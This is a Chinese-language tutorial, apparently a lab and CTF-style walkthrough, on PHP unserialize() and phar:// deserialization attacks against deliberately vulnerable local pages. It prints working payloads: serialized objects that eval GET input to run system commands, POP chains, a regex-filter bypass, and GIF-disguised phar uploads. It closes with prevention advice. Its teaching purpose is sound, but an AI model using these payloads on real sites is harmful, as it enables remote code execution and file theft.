class one { var $b="phpinfo();"; function action() { eval($this->b);//eval:用于执行一段php代码字符串。 } } $a=unserialize($_GET['obj']);//将获取到的参数进行反序列化 $a->action();//执行这个方法
分析payload
O:3:"one":1:{s:1:"b";s:10:"phpinfo();";}
新建一个序列化test.php文件用于存放预构造的代码
<?php class one { var $b='eval($_GET[2]);'; function action() { eval($this->b); } } $a=new one(); $a->action(); echo serialize($a);//实例化一个对象,将其序列化的内容打印出来
得到其序列化的结果,在我们的页面最下面
我们将他反序列化-->index.php进行传参
很好,能得到我们的结果,如果你疑问是不是index.php代码中包含了phpinfo(),所以他才能执行
emmm,完全不需要顾虑,我们来验证这个结论,把这个自定义代码删掉
嗯,很好,验证了我们的结论,这个反序列化漏洞,是可以进行任意代码执行的
注意前面那个s,代表着你执行的代码字符串长度,大于或者小于这个长度,都是执行不了的
当然也可以使用这种payload
http://127.0.0.1/index.php?obj=O:3:"one":1:{s:1:"b";s:15:"eval($_GET[2]);";}&2=echo system('whoami');
在考虑完过滤等先决条件后,找到可控点,构造成我们想要执行的代码,将其反序列化利用。这个过程不要去看原来代码想要执行的,关键是去构造你要执行的
二.简单利用
简单利用反序列化index.php代码参考:
<?php class one { var $b = 'echo 123;'; function action() { eval($this->b); } } class Student { var $a; function __construct() { $this->a = new one(); } function __destruct() { $this->a->action(); } } unserialize($_GET[1]);
新建一个test.php用于获取序列化结果,获取我们的参数
<?php class one { var $b = 'echo 123;'; function action() { eval($this->b); } } class Student { var $a; //构造函数,对象被实例化即new的时候调用 function __construct() { $this->a = new one(); } //折构函数:被销毁时候调用 function __destruct() { $this->a->action(); } } $one = new Student(); echo serialize($one);//O:7:"Student":1:{s:1:"a";O:3:"one":1:{s:1:"b";s:9:"echo 123;";}}
这时候再回到我们index.php
可以正常执行代码,那么我们在test.php修改我们的payload为执行系统命令whoami,获取反序列化的攻击载荷
<?php class one { var $b = 'system("whoami");'; function action() { eval($this->b); } } class Student { var $a; //构造函数,对象被实例化即new的时候调用 function __construct() { $this->a = new one(); } //折构函数:被销毁时候调用 function __destruct() { $this->a->action(); } } $one = new Student(); echo serialize($one);//O:7:"Student":1:{s:1:"a";O:3:"one":1:{s:1:"b";s:17:"system("whoami");";}}
复制这个结果,使用具有反序列化漏洞的index.php进行传参
三、相关绕过
任务:访问当前目录的1.txt文件
构造环境
创建一个1.txt文件,输入任意内容,通过反序列化读取文件内容。
习题代码
<?php @error_reporting(1); echo $_GET['data']; class baby { public $file; function __toString() { if(isset($this->file)) { $filename = "./{$this->file}"; if (file_get_contents($filename)) { return file_get_contents($filename); } } } } if (isset($_GET['data'])) { $data = $_GET['data']; preg_match('/[oc]:\d+:/i',$data,$matches); if(count($matches)) { die('Hacker!'); } else { $good = unserialize($data); echo $good; } } else { highlight_file("./test4.php"); } ?>
这段PHP代码包含两部分:上部分定义了一个baby
类,包含一个file
属性和一个__toString
魔术方法,用于读取并返回文件内容。下部分接收GET请求中的data
参数,进行过滤后反序列化,并打印结果。理解这两部分的关系,特别是类的序列化形式,对于执行预期操作至关重要。
既然上半部分定义了类,下半部分只是过滤的代码,可以将上半部分抽离出来,查看序列化的结果,以便于反序列化
同上面一样构造序列化test.php
<?php @error_reporting(1); echo $_GET['data']; class baby { //构造你要读取的文件 public $file="1.txt"; function __toString() { if(isset($this->file)) { $filename = "./{$this->file}"; if (file_get_contents($filename)) { return file_get_contents($filename); } } } } echo serialize(new baby());
.过滤:代码块中通过正则,不区分大小写的o,c字符,去匹配字符的冒号后的数字来做校验
可以通过+4等价代替 4 从而绕过检测(+
url编码为%2b
)
payload O:%2b4:"baby":1:{s:4:"file";s:5:"1.txt";}
四、开始上手
任务:读取 flag.游不动的鱼宝丶
class A { public $mod1; public $mod2; //对象销毁之后调用 public function __destruct() { $this->mod1->test1(); } } class B { public $mod1; public $mod2; public function test1() { $this->mod1->test2(); } } class C { public $mod1; public $mod2; //__call尝试调用一个对象中不可访问的方法时被调用。 public function __call($test2, $arr) { $s1 = $this->mod1; $s1(); } } class D { public $mod1; public $mod2; //__invoke允许一个对象像函数那样被调用 public function __invoke() { $this->mod2 = "字符串拼接" . $this->mod1; } } class E { public $str1; public $str2; public function __toString() { $this->str1->get_flag(); return "1"; } } class GetFlag { public function get_flag() { echo "flag:" . "游不动的鱼宝丶"; } } $a = $_GET['obj']; unserialize($a);
我们来分析代码,E类中的魔术方法调用了GetFlag类中的方法
这里的字符串拼接,调用了__toString魔术方法
C类中的成员以函数的形式调用了自己的成员
B类中的函数调用了C类中的$test2成员
最后销毁
代码构造: 通过 __construct()魔术方法,创建对象的时候自动调用 / 即在每一个类中都添加一个构造方法
<?php class A { public $mod1; public $mod2; //通过 __construct()魔术方法,创建对象的时候自动调用 public function __construct() { $this->mod1 = new B(); } public function __destruct() { $this->mod1->test1(); } } class B { public $mod1; public $mod2; public function __construct() { $this->mod1 = new C(); } public function test1() { $this->mod1->test2(); } } class C { public $mod1; public $mod2; public function __construct() { $this->mod1 = new D(); } public function __call($test2, $arr) { $s1 = $this->mod1; $s1(); } } class D { public $mod1; public $mod2; public function __construct() { $this->mod1 = new E(); } public function __invoke() { $this->mod2 = "字符串拼接" . $this->mod1; } } class E { public $str1; public $str2; public function __construct() { $this->str1 = new GetFlag(); } public function __toString() { $this->str1->get_flag(); return "1"; } } class GetFlag { public function get_flag() { echo "flag:" . "游不动的鱼宝丶"; } } $c = new A; echo serialize($c);//O:1:"A":2:{s:4:"mod1";O:1:"B":2:{s:4:"mod1";O:1:"C":2:{s:4:"mod1";O:1:"D":2:{s:4:"mod1";O:1:"E":2:{s:4:"str1";O:7:"GetFlag":0:{}s:4:"str2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}
序列化输出结果
得到payload
O:1:"A":2:{s:4:"mod1";O:1:"B":2:{s:4:"mod1";O:1:"C":2:{s:4:"mod1";O:1:"D":2:{s:4:"mod1";O:1:"E":2:{s:4:"str1";O:7:"GetFlag":0:{}s:4:"str2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}
使用具有该反序列化漏洞的index.php
总结:从习题中不难看出, 漏洞的主要的原因就是在反序列化的过程中,通过我们的恶意篡改会产生魔法函数绕过,字符逃逸,远程命令执行等漏洞。
Phar文件和Phar协议
前言
在PHP应用中,随着代码安全性的提升,直接利用
unserialize()
函数的反序列化漏洞变得越来越困难。为了绕过这一限制,攻击者开始利用PHAR文件存储用户自定义元数据为序列化的特性,为反序列化漏洞的攻击提供了新的途径。即使在没有直接的unserialize()
调用或缺乏传参接口的情况下,攻击者仍可以通过可控的文件系统函数,配合phar://
伪协议,实现不依赖unserialize()
的直接反序列化操作。攻击者只需构造包含恶意代码的PHAR文件并上传到目标网站,然后通过特定方式触发反序列化,即可达到攻击目的。
phar文件详解
Phar文件是一种PHP归档格式,用于将多个PHP代码文件及其他资源(如图像、样式表等)打包成一个文件,便于应用程序和库的分发。其独特之处在于,它会以序列化的形式存储用户自定义的meta-data。当文件操作函数处理phar文件时,会自动触发meta-data的反序列化过程。
phar文件分为四层
-
Stub(存根):Phar文件的文件头,必须以
<?php xxx __HALT_COMPILER(); ?>
结尾,其中xxx
可以是自定义的任何字符,如果不定义则默认为<?php __HALT_COMPILER(); ?>
。 -
Manifest(清单):包含了压缩文件的权限、属性以及序列化形式存储的用户自定义元数据等信息。在利用Phar反序列化漏洞时,Manifest中的序列化字符串是攻击的主要目标。
-
Contents(内容):包含了实际的文件内容,比如PHP脚本、图片、样式表等应用程序正常运行所需的其他文件。这些文件在Phar文件中被压缩存储,以节省空间并便于分发。
-
Signature(签名)(可选):验证Phar文件的完整性和真实性。
生成phar文件
1.准备环境
1.1Phar需要 PHP >= 5.2 1.2在php.ini中将phar.readonly设为Off(注意去掉前面的分号)
php配置
具体index.php代码,phar文件生成
<?php class AnyClass{ var $output = 'phpinfo();'; function __destruct() { eval($this -> output); } } @unlink("phar.phar"); $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub $o = new AnyClass(); $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); ?>
访问index.php生成phar文件
查看目录
这里就有了序列化之后的结果
Tips :
phar.phar
文件是在本地生成后上传到目标网站的。配合phar协议和相关函数,它可以构成反序列化攻击的杀伤链。因此,前置的PHP环境配置操作不会影响后续的攻击实施。利用的关键在于:
phar
文件必须能上传到服务器;存在可用的魔术方法作为攻击的“跳板”;
文件操作函数的参数可控,且特殊字符如
./
、../
、phar
等未被过滤。
php大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,知道创宇测试后发布的受影响的函数如下 :
文件操作函数
绕过技巧
1.环境限制了phar不能出现在前面的字符里
compress.bzip://phar:///test.phar/test.txt compress.bzip2://phar:///test.phar/test.txt compress.zlib://phar:///home/sx/test.phar/test.txt php://filter/resource=phar:///test.phar/test.txt php://filter/read=convert.base64-encode/resource=phar://phar.phar
2.验证文件格式
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
3、绕过上传后缀检查
即使将文件后缀改为gif也不影响phar的文件最终执行
执行index.php
一.初步了解
任务:目标1.php界面任务执行phpinfo()
1、index.php代码(具有phar协议反序列化漏洞的代码)
<?php class Files { var $b = 'echo ok;'; function __destruct() { eval($this->b); } } //$file = '../'.$_GET['file']; is_dir('phar://phar.phar/test.txt');
2、test.php攻击代码
<?php class Files{ var $b = 'phpinfo();'; function __destruct() { eval($this -> b); } } @unlink("phar.phar"); $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,验证文件格式 $o = new Files(); $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering();
这里我们执行我们的攻击代码,生成phar.phar文件
可以查看phar.phar文件(.metadata.bin放置着序列化的恶意代码)
生成成功后我们就可以利用这个具有phar协议反序列化漏洞index.php访问了,执行成功
看不出效果?那么这样呢
访问test.php,为空白界面
查看文件
对payload的obj参数进行传参
执行系统命令
二、进一步了解
通过phar协议读取Destruct called
目标文件
class TestObject { public function __destruct() { echo 'Destruct called'; } } $filename = $_GET['cmd']; file_get_contents($filename);
分析:存在可控点以及文件操作函数file_get_contents,需要通过phar协议的反序列化功能,配合file_get_contents函数,执行phar.phar文件内序列化后的代码
1、同理,构造phar.phar文件,将恶意代码序列化存入phar.phar的.metadata.bin文件中
phar.phar文件生成
成功利用phar协议,执行了具有phar协议反序列化漏洞的php文件,并成功获取到了魔术方法中的内容
扩展:练习
具体代码
class Test { public $num = 2; public function __destruct() { if ($this->num === 1) { echo 'flag{123}'; } } } echo file_get_contents($_GET['data']);
(关键在于构建恶意的代码,关注点在$num = 2 --->$num=1)
再深入
任务:通过phar协议执行phpinfo
详细:通过upload_file.php,index.php,page.php文件模拟攻击目标,使用phar文件和phar协议执行反序列化,达到任意代码执行效果.
环境准备
1.www/目录(网站根目录)下放upload_file.php,index.php,page.php文件
2.www/目录(网站根目录)下新建upload_file文件夹
3.各个文件内容及解释
<?php if (($_FILES["file"]["type"] == "image/gif") && (substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.') + 1)) == 'gif') { echo "Upload: " . $_FILES["file"]["name"]; echo "Type: " . $_FILES["file"]["type"]; echo "Temp file: " . $_FILES["file"]["tmp_name"]; if (file_exists("upload_file/" . $_FILES["file"]["name"])) { echo $_FILES["file"]["name"] . " already exists. "; } else { move_uploaded_file($_FILES["file"]["tmp_name"], "upload_file/" . $_FILES["file"]["name"]); echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"]; } } else { echo "Invalid file,you can only upload gif"; }
upload_file.php:内容做了一个上传文件后缀的限制
upload_file.php
index.php 提供一个上传界面
<body> <form action="/upload_file.php" method="post" enctype="multipart/form-data"> <input type="file" name="file" /> <input type="submit" name="Upload" /> </form> </body>
page.php 目标可控点
<?php $filename=$_GET['filename']; class AnyClass{ var $output = 'echo "ok";'; function __destruct() { eval($this -> output); } } file_exists($filename);//用于检查文件或目录是否存在
page.php
分析
1.目标存在可控点以及文件操作函数
page.php分析
受影响的文件操作函数表
2.只有upload_file.php的对上传文件的后缀和类型进行限制,但是!我们phar文件也可以使用gif后缀!文章中有提到,可以仔细看一看。
所以这题我们就可以使用phar协议进行漏洞复现
开始解题
1、构造上传文件phar,test.php
<?php class AnyClass{ var $output = 'phpinfo();'; function __destruct() { eval($this -> output); } } @unlink("phar.phar"); $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,验证文件格式 $o = new AnyClass(); $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering();
检查我们的payload
改文件名
上传之前,新建一个upload_file文件夹
因为这里测试的文件上传代码保存在这个文件夹中
开始上传
上传成功
执行我们的payload漂亮!
反序列化漏洞预防
使用安全的序列化/反序列化库
-
选择经过安全审计的、维护良好的序列化库。
-
避免使用已知存在安全漏洞的库。
限制反序列化的类型
-
只允许反序列化预定义、可信的类。
-
使用类型安全的序列化机制,如Java中的
ObjectOutputStream
和ObjectInputStream
时,可以使用enableSubstitution
方法来限制反序列化的类。
数据完整性验证
-
在序列化和反序列化过程中,使用数字签名或消息认证码(MAC)来验证数据的完整性。
-
确保序列化数据在传输过程中未被篡改。
定期审计和测试
-
定期对应用程序进行安全审计,以识别潜在的反序列化漏洞。
-
使用自动化工具和手动测试方法来检测和利用反序列化漏洞。